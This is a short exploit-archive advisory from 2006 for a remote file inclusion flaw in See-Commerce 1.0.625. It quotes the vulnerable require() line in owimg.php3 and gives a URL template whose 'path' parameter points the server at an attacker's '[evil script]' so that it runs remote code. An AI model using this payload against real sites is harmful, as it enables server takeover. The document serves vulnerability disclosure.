See-Commerce <= 1.0.625 (owimg.php3) Remote Include Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : See-Commerce <= 1.0.625 (owimg.php3) Remote Include Vulnerability
# Published : 2006-08-09
# Author : Drago84
# Previous Title : PgMarket <= 2.2.3 (CFG[libdir]) Remote File Inclusion Vulnerability
# Next Title : Tagger Luxury Edition (BBCodeFile) Remote File Include Vulnerability

See-Commerce Remote File Inclusion

CreW: ToXiC

Bug Found by Drago84

Source Code:
http://freshmeat.net/redir/seecommerce/14016/url_zip/sc-1.0.625.zip

Problem Is:
require($path."/ow.inc");

Page Affect:
http://[site]/[see-commerce directory]/owimg.php3?path=[evil script]

Greatz : Str0ke

# www.Syue.com [2006-08-09]